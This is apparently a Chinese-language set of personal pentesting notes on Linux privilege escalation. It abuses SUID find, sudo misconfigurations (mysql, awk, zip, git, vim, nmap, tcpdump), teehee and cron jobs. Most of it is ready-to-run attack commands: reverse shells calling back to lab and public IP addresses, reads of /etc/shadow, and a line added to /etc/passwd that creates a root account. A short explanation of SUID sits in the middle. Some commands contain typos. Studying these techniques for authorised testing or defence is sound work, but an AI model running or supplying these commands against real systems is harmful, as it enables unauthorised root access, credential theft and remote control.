权限提升
find提权
普通用户find命令提权
先查看find命令有没有提权的可能
姿势
姿势一
find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \; -quit
姿势二
touch getshell
find / -type f -name getshell -exec "whoami" \;
find / -type f -name getshell -exec "/bin/sh" \;
姿势三
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
如果有find执行
touch test
find . -exec /bin/sh -p \; -quit
这时候,你就拥有了root权限的一个shell。
1. 查看find命令权限
方法 一、
# 1. 查看find命令位置
which find
# 2. 查看 find 命令权限
ls -l /usr/bin/find # 这是find 默认位置
-rwsr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find
# 有s 表示可以提权
方法 二、
# 用find 命令查找 有超级属性的文件
find / -perm -u=s -type f 2>/dev/null
2.假如find命令可提权 有s权限位
权限位 u + s
权限为 4xxx
# 查看是否可以用root 命令执行命令
find `which find` -exec whoami \;
# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
可以直接执行命令
find /usr/bin/find -exec cat /etc/shadow \;
find `which find` -exec cat /etc/shadow ;
查看普通用户没有权限查看的文件。
3. 反弹shell
常规套路 ,2个机器。 一个开监听,一个执行反弹命令
用途 ip 攻击机(root 用户) 192.168.2.128 开监听 靶机(普通用户) 192.168.2.10 执行反弹shell 命令 3.1 开监听
# 监听 9919 端口 nc -lvvnp 9919
3.2 执行反弹shell 命令
# 用find 命令执行 find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \; # python 方式反弹 find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
-p : 让 euid 为0 , 权限为root 权限
默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。
3.3 验证
# 在反弹的shell 中 执行命令 bash-4.2# whoami whoami root bash-4.2# id id uid=1005(zzzz) gid=1005(zzzz) euid=0(root) groups=1005(zzzz)
此shell 为不完整的shell, 升级交互式。
3.4 升级交互式shell
# 在反弹shell 上执行 [root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")' #使用python,升级交互shell [root@localhost ~]# ^Z # ctrl + z 按键 挂起正在运行的程序 root@kali64:~# stty raw -echo # 输入这句后 在输入命令终端不在显示 root@kali64:~# fg # 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车 [root@localhost ~]# reset
capabilities提权
https://www.cnblogs.com/f-carey/p/16026088.html
查找设置了capabilities的可执行文件
getcap -r / 2>/dev/null
sudo
首先用sudo -l
找当前用户能否以管理员权限执行某些命令
mysql
(root) NOPASSWD: /usr/bin/mysql
直接用mysql -e
sudo mysql -e '\! /bin/sh '(这样子提权需要有一个交互式shell)
sudo mysql -e '\! whoami '(直接以root权限zhi)
靶机:bash -c 'sh -i &>/dev/tcp/110.40.177.201/7788 0>&1'
或者 bash -i >& /dev/tcp/8.130.69.158/7788 0>&1
或者 bash -c "bash -i >& /dev/tcp/8.130.69.158/7788 0>&1"
sudo提权的命令集合
提权命令:sudo awk 'BEGIN{system("/bin/bash")}' #awk
sudo find /home -exec /bin/bash \; #find
sudo cat /etc/shadow #cat我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解
#zip
1.创建一个1.txt,将其压缩为1.zip
2. sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash"
# git
1.sudo git help add
2.回车如下输入 !/bin/bash
#ed
sudo ed
!/bin/sh
#vim
sudo vim -c'!sh'
#man
sudo man man
之后按!按下并按Enter
#lesssud
sudo less /etc/hosts
之后按!按下并按Enter
#more
sudo more /etc/hosts
之后按!按下并按Enter
#nmap
echo "os.execute('/bin/sh')"> /tmp/shell.nse && sudo nmap --script = /tmp/shell.nse
#nano
#nano是使用此编辑器的文本编辑器,在您需要切换用户之后,您可以修改pvimasswd文件并将用户添加为root特权。在/etc/passwd中添加此行,以将用户添加为root特权。
touhid:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash
sudo nano /sudetc/passwd #现在切换用户密码是:test
su touhid
#apache
使用它我们可以查看系统文件
sudo apache2 -f /etc/shadow
vi提权
可以用来进行rbash逃逸
google了下相关信息,大概学到了两种方法适用
一种是利用vi提权
先后==在vi的命令模式下==执行以下两条指令
:set shell=/bin/sh
:shell
git提权
1.在本地配置多个用户身份信息。您可以使用以下命令为您的 Git 配置添加多个用户身份:
git config --global user.name "Your Name"
git config --global user.email "your-email@example.com"
在上述命令中,将 “Your Name” 和 “your-email@example.com” 替换为您想要使用的用户名和电子邮件地址。
2.在 Git 项目中使用另一个用户身份进行操作。要使用不同的用户身份进行 Git 操作,请使用以下命令:
git -c user.name="Another User" -c user.email="another-user@example.com" commit -m "Commit message"
在上述命令中,将 “Another User” 和 “another-user@example.com” 替换为您想要使用的另一个用户身份的用户名和电子邮件地址。请注意,在使用上述命令时,只会在该命令中使用指定的用户身份,不会更改您在全局 Git 配置中设置的默认用户身份。
需要注意的是,使用另一个用户身份进行 Git 操作需要在您有相应的权限的情况下进行。因此,必须确保您已获得所需的权限,并且使用其他用户身份进行 Git 操作不应用于恶意目的。
3.配合sudo
sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash
teehee提权
看看这个是干啥的,–help查看帮助
注意到-a
参数可以直接在文件末尾加上字符串
那么尝试往passwd写入一个账户
/etc/passwd
各个字段的含义:
username:password:User ID:Group ID:comment:home directory:shell
写入
dongyu::0:0:::/bin/bash
密码我们直接置空,uid和gid都是0,也就是root用户,也就是说覆盖了root账户,密码为0
sudo teehee -a /etc/passwd
dongyu::0:0:::/bin/bash
su dongyu
suid
什么是SUID(来自P牛博客总结)
通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。
ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里
ls -al $(which ping)
,可以发现其权限是-rwsr-xr-x
,其中有个s位,这就是suid:root@linux:~# ls -al /bin/ping -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。
设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,
/bin/ping
这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。
这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:
- Real UID 执行该进程的用户实际的UID
- Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
- Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)
通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd
;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。
有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的==所有者==是0号 root 或其他super user,同时拥有suid权限,才可以提权。
==SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。==
已知的可用来提权的linux可行性的文件列表如下:
* nmap * vim * find * bash * more * less * nano * cp
查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
具体情况具体分析
https://pentestlab.blog/2017/09/25/suid-executables/
#Nmap
nmap -V
nmap --interactive #低版本的nmap可以使用进入交互界面
nmap> !sh
sh-3.2# whoami
root
---
nmap 新版
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
#vim
vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
:shell #进入文本编辑器后执行
#find
touch pentestlab
find pentestlab -exec whoami \;
#Bash
bash -p
#nano 尽可以查看文件
nano /etc/passwd
#apache2
apache2 -f /etc/shadow
#tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test;chmod +x /tmp/.test;sudo tcpdump -ln -i eth0 -w /dev/null -W 100 -G 1 -z /tmp/.test -Z root
nmap
第一种
直接创建一个脚本,利用nmap执行脚本获得一个root用户的shell
nmap以root运行
echo "os.execute('/bin/bash')">demon.nse
#nse是nmap的插件扩展名
sudo nmap --script=/home/jens/demon.nse
第二种
nmap --interactive即可得到交互式shell
nmap>!bash or !sh
定时任务
如果root用户定时执行某个文件,可以想办法更改这个文件,写入恶意命令或反弹shell
当root用户再次执行它,我们就拿到了root的shell
exim4
查看版本 exim4 --version
漏洞库搜索一下 searchsploit exim 4
复制相关脚本到本地,再本地python搭个http服务,目标机shell上把脚本wget下来